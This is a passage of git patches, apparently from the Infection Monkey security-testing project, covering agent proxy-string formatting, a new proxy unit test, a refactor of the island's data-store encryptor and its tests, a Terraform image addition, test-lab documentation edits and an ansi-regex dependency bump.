{} @@ -132,13 +130,9 @@ class ControlClient(object): proxy_address, proxy_port = proxy_find logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) if is_windows_os(): - ControlClient.proxies["https"] = "http://%s:%s" % ( - proxy_address, - proxy_port, - ) + ControlClient.proxies["https"] = f"http://{proxy_address}:{proxy_port}" else: - ControlClient.proxies["https"] = PROXY_SCHEMA % (proxy_address, proxy_port) - logger.info(ControlClient.proxies) + ControlClient.proxies["https"] = f"{proxy_address}:{proxy_port}" @staticmethod def keepalive(): From a11d1d5f1e424586c944ed85f9ab5a830eaf013a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 6 Oct 2021 18:10:46 +0200 Subject: [PATCH 350/454] Agent: Changed note message for proxy schema --- monkey/infection_monkey/control.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index ec153f418..f026584ca 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -121,9 +121,12 @@ class ControlClient(object): @staticmethod def set_proxies(proxy_find): """ - Note: Proxy schema changes! When upgrading to newer python version or - when urllib3 and requests are updated there is possibility that the proxy - schema is changed. + Note: Proxy schema changes which causes the machine to not open a tunnel back. + If we get "ValueError: check_hostname requires server_hostname" or + "Proxy URL had not schema, should start with http:// or https://" errors, + the proxy schema needs to be changed. + Keep this in mind when upgrading to newer python version or when urllib3 and + requests are updated there is possibility that the proxy schema is changed. https://github.com/psf/requests/issues/5297 https://github.com/psf/requests/issues/5855 """ From 9ee00c304491b8e95537146ba15f2a7527c26713 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 6 Oct 2021 12:45:54 -0400 Subject: [PATCH 351/454] Tests: Reduce code duplication in test_data_store_encryptor.py --- .../encryption/test_data_store_encryptor.py | 30 +++++++++---------- 1 file changed, 14 insertions(+), 16 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index 20bbf4b27..091fdb970 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -14,8 +14,6 @@ pytestmark = pytest.mark.slow PLAINTEXT = "Hello, Monkey!" MOCK_SECRET = "53CR31" -KEY_FILENAME = "test_key.bin" - @pytest.fixture(autouse=True) def cleanup_encryptor(): @@ -25,11 +23,11 @@ def cleanup_encryptor(): @pytest.fixture def key_file(tmp_path): - return tmp_path / KEY_FILENAME + return tmp_path / "test_key.bin" def test_encryption(tmp_path): - initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + initialize_datastore_encryptor(tmp_path, MOCK_SECRET) encrypted_data = get_datastore_encryptor().encrypt(PLAINTEXT) assert encrypted_data != PLAINTEXT @@ -38,35 +36,35 @@ def test_encryption(tmp_path): assert decrypted_data == PLAINTEXT -def test_key_creation(key_file, tmp_path): +def test_key_creation(key_file): assert not key_file.is_file() - initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) assert key_file.is_file() -def test_existing_key_reused(key_file, tmp_path): +def test_existing_key_reused(key_file): assert not key_file.is_file() - initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) key_file_hash_1 = get_file_sha256_hash(key_file) - initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) key_file_hash_2 = get_file_sha256_hash(key_file) assert key_file_hash_1 == key_file_hash_2 -def test_key_removal(key_file, tmp_path): - initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) +def test_key_removal(key_file): + initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) assert key_file.is_file() get_datastore_encryptor().erase_key() assert not key_file.is_file() -def test_key_removal__no_key(key_file, tmp_path): +def test_key_removal__no_key(key_file): assert not key_file.is_file() - initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) assert key_file.is_file() get_datastore_encryptor().erase_key() @@ -76,11 +74,11 @@ def test_key_removal__no_key(key_file, tmp_path): get_datastore_encryptor().erase_key() -def test_reinitialize_datastore_encryptor(key_file, tmp_path): - initialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) +def test_reinitialize_datastore_encryptor(key_file): + initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) key_file_hash_1 = get_file_sha256_hash(key_file) - reinitialize_datastore_encryptor(tmp_path, MOCK_SECRET, KEY_FILENAME) + reinitialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) key_file_hash_2 = get_file_sha256_hash(key_file) assert key_file_hash_1 != key_file_hash_2 From a8182cbb3dc4f3441196d7239b62c11e9e845464 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 7 Oct 2021 10:50:41 +0200 Subject: [PATCH 352/454] UT: Add test for settting agent proxy --- .../infection_monkey/test_control.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/test_control.py diff --git a/monkey/tests/unit_tests/infection_monkey/test_control.py b/monkey/tests/unit_tests/infection_monkey/test_control.py new file mode 100644 index 000000000..81cfc93fe --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/test_control.py @@ -0,0 +1,18 @@ +import pytest + +from monkey.infection_monkey.control import ControlClient + +PROXY_FOUND = ("8.8.8.8", "45455") + + +@pytest.mark.parametrize("is_windows_os", [True, False]) +def test_control_set_proxies(monkeypatch, is_windows_os): + monkeypatch.setattr("monkey.infection_monkey.control.is_windows_os", lambda: is_windows_os) + control_client = ControlClient() + + control_client.set_proxies(PROXY_FOUND) + + if is_windows_os: + assert control_client.proxies["https"].startswith("http://") + else: + assert control_client.proxies["https"].startswith(PROXY_FOUND[0]) From f7e0b4fef14a105d2a14cecea44c2b0d3cd3b453 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 7 Oct 2021 13:55:27 +0300 Subject: [PATCH 353/454] Zoo: add missing tunneling-12 image definition to terraform scripts --- envs/monkey_zoo/terraform/images.tf | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 77432c845..05cc05048 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -37,6 +37,10 @@ data "google_compute_image" "tunneling-11" { name = "tunneling-11" project = local.monkeyzoo_project } +data "google_compute_image" "tunneling-12" { + name = "tunneling-12" + project = local.monkeyzoo_project +} data "google_compute_image" "sshkeys-11" { name = "sshkeys-11" project = local.monkeyzoo_project From 2d28c4e8004d2a3470f27d472ff0fc8f34101997 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 7 Oct 2021 16:56:10 +0300 Subject: [PATCH 354/454] Zoo: fix the fullDocs.md by removing the outdated section about monkey configurations, add a sections about what to do with the island if you're a simple user --- envs/monkey_zoo/docs/fullDocs.md | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 679f52d3e..9d8e8b3c4 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -132,12 +132,20 @@ the island. ### These are most common steps on monkey islands: +### For users + +Upload the AppImage deployment option and run it in island-linux-250. +Or upload the MSI deployment option, install it and run it in island-windows-251. +After that use the Monkey as you would on local network. + +### For developers + #### island-linux-250: -To run monkey island:
    +To run monkey island from source:
    `sudo /usr/run\_island.sh`
    -To run monkey:
    +To run monkey from source:
    `sudo /usr/run\_monkey.sh`
    To update repository:
    @@ -149,10 +157,10 @@ Update all requirements using deployment script:
    #### island-windows-251: -To run monkey island:
    +To run monkey island from source:
    Execute C:\\run\_monkey\_island.bat as administrator -To run monkey:
    +To run monkey from source:
    Execute C:\\run\_monkey.bat as administrator To update repository:
    @@ -164,13 +172,6 @@ Update all requirements using deployment script:
    1\. `cd C:\infection_monkey\deployment_scripts`
    2\. `./run_script.bat "C:\infection_monkey" "develop"`
    -# Running tests: - -Once you start monkey island you can import test configurations from -../monkey/envs/configs. - -fullTest.conf is a good config to start, because it covers all machines. - # Machines:

    Nr. 251 MonkeyIsland

    +

    Nr. 251 MonkeyIsland

    (10.2.2.251)

    From cd23eb2909eeef5dcb7498089ca938366e8782d8 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 7 Oct 2021 16:18:17 +0200 Subject: [PATCH 355/454] Agent: Reword note in control Rewrite control set proxy UT, fix typo in httpfinger --- monkey/infection_monkey/control.py | 3 ++- monkey/infection_monkey/network/httpfinger.py | 2 +- .../unit_tests/infection_monkey/test_control.py | 16 +++++++--------- 3 files changed, 10 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index f026584ca..367433cb6 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -121,7 +121,8 @@ class ControlClient(object): @staticmethod def set_proxies(proxy_find): """ - Note: Proxy schema changes which causes the machine to not open a tunnel back. + Note: The proxy schema changes between different versions of requests and urllib3, + which causes the machine to not open a tunnel back. If we get "ValueError: check_hostname requires server_hostname" or "Proxy URL had not schema, should start with http:// or https://" errors, the proxy schema needs to be changed. diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index f7ffc54e5..3939fc7c6 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -44,7 +44,7 @@ class HTTPFinger(HostFinger): logger.info("Port %d is open on host %s " % (port[0], host)) break # https will be the same on the same port except Timeout: - logger.debug(f"Timout while requesting headers from {url}") + logger.debug(f"Timeout while requesting headers from {url}") except ConnectionError: # Someone doesn't like us logger.debug(f"Connection error while requesting headers from {url}") diff --git a/monkey/tests/unit_tests/infection_monkey/test_control.py b/monkey/tests/unit_tests/infection_monkey/test_control.py index 81cfc93fe..7c2f42d19 100644 --- a/monkey/tests/unit_tests/infection_monkey/test_control.py +++ b/monkey/tests/unit_tests/infection_monkey/test_control.py @@ -2,17 +2,15 @@ import pytest from monkey.infection_monkey.control import ControlClient -PROXY_FOUND = ("8.8.8.8", "45455") - -@pytest.mark.parametrize("is_windows_os", [True, False]) -def test_control_set_proxies(monkeypatch, is_windows_os): +@pytest.mark.parametrize( + "is_windows_os,expected_proxy_string", + [(True, "http://8.8.8.8:45455"), (False, "8.8.8.8:45455")], +) +def test_control_set_proxies(monkeypatch, is_windows_os, expected_proxy_string): monkeypatch.setattr("monkey.infection_monkey.control.is_windows_os", lambda: is_windows_os) control_client = ControlClient() - control_client.set_proxies(PROXY_FOUND) + control_client.set_proxies(("8.8.8.8", "45455")) - if is_windows_os: - assert control_client.proxies["https"].startswith("http://") - else: - assert control_client.proxies["https"].startswith(PROXY_FOUND[0]) + assert control_client.proxies["https"] == expected_proxy_string From 2d414a6f7d8d89fe69a807871654112873d14e85 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 7 Oct 2021 13:37:38 -0400 Subject: [PATCH 356/454] Island: Ensure old key files are deleted on reinitialization --- .../encryption/data_store_encryptor.py | 21 +++------- .../encryption/test_data_store_encryptor.py | 42 ++++++++++--------- 2 files changed, 27 insertions(+), 36 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 7e9a279d4..9ade1364d 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -49,29 +49,18 @@ class DataStoreEncryptor(IEncryptor): def decrypt(self, ciphertext: str): return self._key_based_encryptor.decrypt(ciphertext) - def erase_key(self): - if self._key_file_path.is_file(): - self._key_file_path.unlink() - - self._key_based_encryptor = None - def reinitialize_datastore_encryptor( key_file_dir: str, secret: str, key_file_name: str = "mongo_key.bin" ): - _delete_encryptor() + key_file_path = Path(key_file_dir) / key_file_name + + if key_file_path.is_file(): + key_file_path.unlink() + initialize_datastore_encryptor(key_file_dir, secret, key_file_name) -def _delete_encryptor(): - global _encryptor - - if _encryptor: - _encryptor.erase_key() - - _encryptor = None - - def initialize_datastore_encryptor( key_file_dir: str, secret: str, key_file_name: str = "mongo_key.bin" ): diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index 091fdb970..8f6c8947a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -54,26 +54,6 @@ def test_existing_key_reused(key_file): assert key_file_hash_1 == key_file_hash_2 -def test_key_removal(key_file): - initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) - assert key_file.is_file() - - get_datastore_encryptor().erase_key() - assert not key_file.is_file() - - -def test_key_removal__no_key(key_file): - assert not key_file.is_file() - initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) - assert key_file.is_file() - - get_datastore_encryptor().erase_key() - assert not key_file.is_file() - - # Make sure no error thrown when we try to remove an non-existing key - get_datastore_encryptor().erase_key() - - def test_reinitialize_datastore_encryptor(key_file): initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) key_file_hash_1 = get_file_sha256_hash(key_file) @@ -82,3 +62,25 @@ def test_reinitialize_datastore_encryptor(key_file): key_file_hash_2 = get_file_sha256_hash(key_file) assert key_file_hash_1 != key_file_hash_2 + + +def test_reinitialize_when_encryptor_is_none(key_file): + with key_file.open(mode="w") as f: + f.write("") + + reinitialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) + assert ( + get_file_sha256_hash(key_file) + != "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + ) + + +def test_reinitialize_when_file_not_found(key_file): + assert not key_file.is_file() + reinitialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) + + encrypted_data = get_datastore_encryptor().encrypt(PLAINTEXT) + assert encrypted_data != PLAINTEXT + + decrypted_data = get_datastore_encryptor().decrypt(encrypted_data) + assert decrypted_data == PLAINTEXT From bdf485e014c952d2eb30d855131f4c28534e8b55 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 7 Oct 2021 13:50:06 -0400 Subject: [PATCH 357/454] Island: Rename data_store_encryptor initialization functions --- .../monkey_island/cc/resources/auth/auth.py | 2 +- .../cc/server_utils/encryption/__init__.py | 4 +-- .../encryption/data_store_encryptor.py | 8 +++--- .../cc/services/authentication.py | 18 +++++-------- .../unit_tests/monkey_island/cc/conftest.py | 4 +-- .../encryption/test_data_store_encryptor.py | 26 +++++++++---------- 6 files changed, 27 insertions(+), 35 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 92a372a99..4e31778bf 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -44,7 +44,7 @@ class Authenticate(flask_restful.Resource): username, password = get_username_password_from_request(request) if _credentials_match_registered_user(username, password): - AuthenticationService.ensure_datastore_encryptor(username, password) + AuthenticationService.unlock_datastore_encryptor(username, password) access_token = _create_access_token(username) return make_response({"access_token": access_token, "error": ""}, 200) else: diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 7fbc882cb..16ac78cbe 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -13,8 +13,8 @@ from .password_based_bytes_encryptor import ( ) from .data_store_encryptor import ( get_datastore_encryptor, - initialize_datastore_encryptor, - reinitialize_datastore_encryptor, + unlock_datastore_encryptor, + reset_datastore_encryptor, ) from .dict_encryptor import ( SensitiveField, diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 9ade1364d..3e5415f0d 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -50,18 +50,16 @@ class DataStoreEncryptor(IEncryptor): return self._key_based_encryptor.decrypt(ciphertext) -def reinitialize_datastore_encryptor( - key_file_dir: str, secret: str, key_file_name: str = "mongo_key.bin" -): +def reset_datastore_encryptor(key_file_dir: str, secret: str, key_file_name: str = "mongo_key.bin"): key_file_path = Path(key_file_dir) / key_file_name if key_file_path.is_file(): key_file_path.unlink() - initialize_datastore_encryptor(key_file_dir, secret, key_file_name) + unlock_datastore_encryptor(key_file_dir, secret, key_file_name) -def initialize_datastore_encryptor( +def unlock_datastore_encryptor( key_file_dir: str, secret: str, key_file_name: str = "mongo_key.bin" ): global _encryptor diff --git a/monkey/monkey_island/cc/services/authentication.py b/monkey/monkey_island/cc/services/authentication.py index 9cb0121c5..88b5f3fb0 100644 --- a/monkey/monkey_island/cc/services/authentication.py +++ b/monkey/monkey_island/cc/services/authentication.py @@ -1,7 +1,6 @@ from monkey_island.cc.server_utils.encryption import ( - get_datastore_encryptor, - initialize_datastore_encryptor, - reinitialize_datastore_encryptor, + reset_datastore_encryptor, + unlock_datastore_encryptor, ) @@ -16,19 +15,14 @@ class AuthenticationService: cls.KEY_FILE_DIRECTORY = key_file_directory @staticmethod - def ensure_datastore_encryptor(username: str, password: str): - if not get_datastore_encryptor(): - AuthenticationService._init_encryptor_from_credentials(username, password) + def unlock_datastore_encryptor(username: str, password: str): + secret = AuthenticationService._get_secret_from_credentials(username, password) + unlock_datastore_encryptor(AuthenticationService.KEY_FILE_DIRECTORY, secret) @staticmethod def reset_datastore_encryptor(username: str, password: str): secret = AuthenticationService._get_secret_from_credentials(username, password) - reinitialize_datastore_encryptor(AuthenticationService.KEY_FILE_DIRECTORY, secret) - - @staticmethod - def _init_encryptor_from_credentials(username: str, password: str): - secret = AuthenticationService._get_secret_from_credentials(username, password) - initialize_datastore_encryptor(AuthenticationService.KEY_FILE_DIRECTORY, secret) + reset_datastore_encryptor(AuthenticationService.KEY_FILE_DIRECTORY, secret) @staticmethod def _get_secret_from_credentials(username: str, password: str) -> str: diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index 22390dea7..dfd927f4a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -10,7 +10,7 @@ from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_bas STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, ) -from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor +from monkey_island.cc.server_utils.encryption import unlock_datastore_encryptor @pytest.fixture @@ -30,4 +30,4 @@ def monkey_config_json(monkey_config): @pytest.fixture def uses_encryptor(data_for_tests_dir): secret = "m0nk3y_u53r:3cr3t_p455w0rd" - initialize_datastore_encryptor(data_for_tests_dir, secret) + unlock_datastore_encryptor(data_for_tests_dir, secret) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index 8f6c8947a..da4a9ec09 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -4,8 +4,8 @@ from common.utils.file_utils import get_file_sha256_hash from monkey_island.cc.server_utils.encryption import ( data_store_encryptor, get_datastore_encryptor, - initialize_datastore_encryptor, - reinitialize_datastore_encryptor, + reset_datastore_encryptor, + unlock_datastore_encryptor, ) # Mark all tests in this module as slow @@ -27,7 +27,7 @@ def key_file(tmp_path): def test_encryption(tmp_path): - initialize_datastore_encryptor(tmp_path, MOCK_SECRET) + unlock_datastore_encryptor(tmp_path, MOCK_SECRET) encrypted_data = get_datastore_encryptor().encrypt(PLAINTEXT) assert encrypted_data != PLAINTEXT @@ -38,46 +38,46 @@ def test_encryption(tmp_path): def test_key_creation(key_file): assert not key_file.is_file() - initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) + unlock_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) assert key_file.is_file() def test_existing_key_reused(key_file): assert not key_file.is_file() - initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) + unlock_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) key_file_hash_1 = get_file_sha256_hash(key_file) - initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) + unlock_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) key_file_hash_2 = get_file_sha256_hash(key_file) assert key_file_hash_1 == key_file_hash_2 -def test_reinitialize_datastore_encryptor(key_file): - initialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) +def test_reset_datastore_encryptor(key_file): + unlock_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) key_file_hash_1 = get_file_sha256_hash(key_file) - reinitialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) + reset_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) key_file_hash_2 = get_file_sha256_hash(key_file) assert key_file_hash_1 != key_file_hash_2 -def test_reinitialize_when_encryptor_is_none(key_file): +def test_reset_when_encryptor_is_none(key_file): with key_file.open(mode="w") as f: f.write("") - reinitialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) + reset_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) assert ( get_file_sha256_hash(key_file) != "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" ) -def test_reinitialize_when_file_not_found(key_file): +def test_reset_when_file_not_found(key_file): assert not key_file.is_file() - reinitialize_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) + reset_datastore_encryptor(key_file.parent, MOCK_SECRET, key_file.name) encrypted_data = get_datastore_encryptor().encrypt(PLAINTEXT) assert encrypted_data != PLAINTEXT From 1a0a07d550d9282bc1ead3b0ca1ca7b9fb5245d9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 7 Oct 2021 14:39:19 -0400 Subject: [PATCH 358/454] Island: Reduce duplication in data_store_encryptor --- .../encryption/data_store_encryptor.py | 34 +++++++++++-------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 3e5415f0d..fb4308a33 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -10,25 +10,27 @@ from .i_encryptor import IEncryptor from .key_based_encryptor import KeyBasedEncryptor from .password_based_bytes_encryptor import PasswordBasedBytesEncryptor +_KEY_FILE_NAME = "mongo_key.bin" + _encryptor: Union[None, IEncryptor] = None class DataStoreEncryptor(IEncryptor): _KEY_LENGTH_BYTES = 32 - def __init__(self, secret: str, key_file_path: Path): - self._key_file_path = key_file_path + def __init__(self, secret: str, key_file: Path): + self._key_file = key_file self._password_based_encryptor = PasswordBasedBytesEncryptor(secret) self._key_based_encryptor = self._initialize_key_based_encryptor() def _initialize_key_based_encryptor(self): - if os.path.exists(self._key_file_path): + if os.path.exists(self._key_file): return self._load_existing_key() return self._create_new_key() def _load_existing_key(self) -> KeyBasedEncryptor: - with open(self._key_file_path, "rb") as f: + with open(self._key_file, "rb") as f: encrypted_key = f.read() plaintext_key = self._password_based_encryptor.decrypt(encrypted_key) @@ -38,7 +40,7 @@ class DataStoreEncryptor(IEncryptor): plaintext_key = Random.new().read(DataStoreEncryptor._KEY_LENGTH_BYTES) encrypted_key = self._password_based_encryptor.encrypt(plaintext_key) - with open_new_securely_permissioned_file(self._key_file_path, "wb") as f: + with open_new_securely_permissioned_file(self._key_file, "wb") as f: f.write(encrypted_key) return KeyBasedEncryptor(plaintext_key) @@ -50,22 +52,24 @@ class DataStoreEncryptor(IEncryptor): return self._key_based_encryptor.decrypt(ciphertext) -def reset_datastore_encryptor(key_file_dir: str, secret: str, key_file_name: str = "mongo_key.bin"): - key_file_path = Path(key_file_dir) / key_file_name +def reset_datastore_encryptor(key_file_dir: str, secret: str, key_file_name: str = _KEY_FILE_NAME): + key_file = Path(key_file_dir) / key_file_name - if key_file_path.is_file(): - key_file_path.unlink() + if key_file.is_file(): + key_file.unlink() - unlock_datastore_encryptor(key_file_dir, secret, key_file_name) + _initialize_datastore_encryptor(key_file, secret) -def unlock_datastore_encryptor( - key_file_dir: str, secret: str, key_file_name: str = "mongo_key.bin" -): +def unlock_datastore_encryptor(key_file_dir: str, secret: str, key_file_name: str = _KEY_FILE_NAME): + key_file = Path(key_file_dir) / key_file_name + _initialize_datastore_encryptor(key_file, secret) + + +def _initialize_datastore_encryptor(key_file: Path, secret: str): global _encryptor - key_file_path = Path(key_file_dir) / key_file_name - _encryptor = DataStoreEncryptor(secret, key_file_path) + _encryptor = DataStoreEncryptor(secret, key_file) def get_datastore_encryptor() -> IEncryptor: From 97c3ed3b97c0a1ae93cb2d14d0bd7ada76a52bb9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 7 Oct 2021 14:45:00 -0400 Subject: [PATCH 359/454] Island: Rename internal DataStoreEncryptor methods --- .../cc/server_utils/encryption/data_store_encryptor.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index fb4308a33..e9ff96716 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -25,18 +25,18 @@ class DataStoreEncryptor(IEncryptor): def _initialize_key_based_encryptor(self): if os.path.exists(self._key_file): - return self._load_existing_key() + return self._load_key() - return self._create_new_key() + return self._create_key() - def _load_existing_key(self) -> KeyBasedEncryptor: + def _load_key(self) -> KeyBasedEncryptor: with open(self._key_file, "rb") as f: encrypted_key = f.read() plaintext_key = self._password_based_encryptor.decrypt(encrypted_key) return KeyBasedEncryptor(plaintext_key) - def _create_new_key(self) -> KeyBasedEncryptor: + def _create_key(self) -> KeyBasedEncryptor: plaintext_key = Random.new().read(DataStoreEncryptor._KEY_LENGTH_BYTES) encrypted_key = self._password_based_encryptor.encrypt(plaintext_key) From bc345f84c01337be87a8efb488e0ce891538abf7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Oct 2021 10:50:37 +0200 Subject: [PATCH 360/454] UI: Update ansi-regex --- monkey/monkey_island/cc/ui/package-lock.json | 21 ++++++++++---------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 5e21bcff6..f2cdbca3c 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -4521,8 +4521,7 @@ "dependencies": { "ansi-regex": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "resolved": "", "dev": true }, "ansi-styles": { @@ -7297,9 +7296,9 @@ }, "dependencies": { "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "dev": true }, "ansi-styles": { @@ -11634,9 +11633,9 @@ }, "dependencies": { "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": 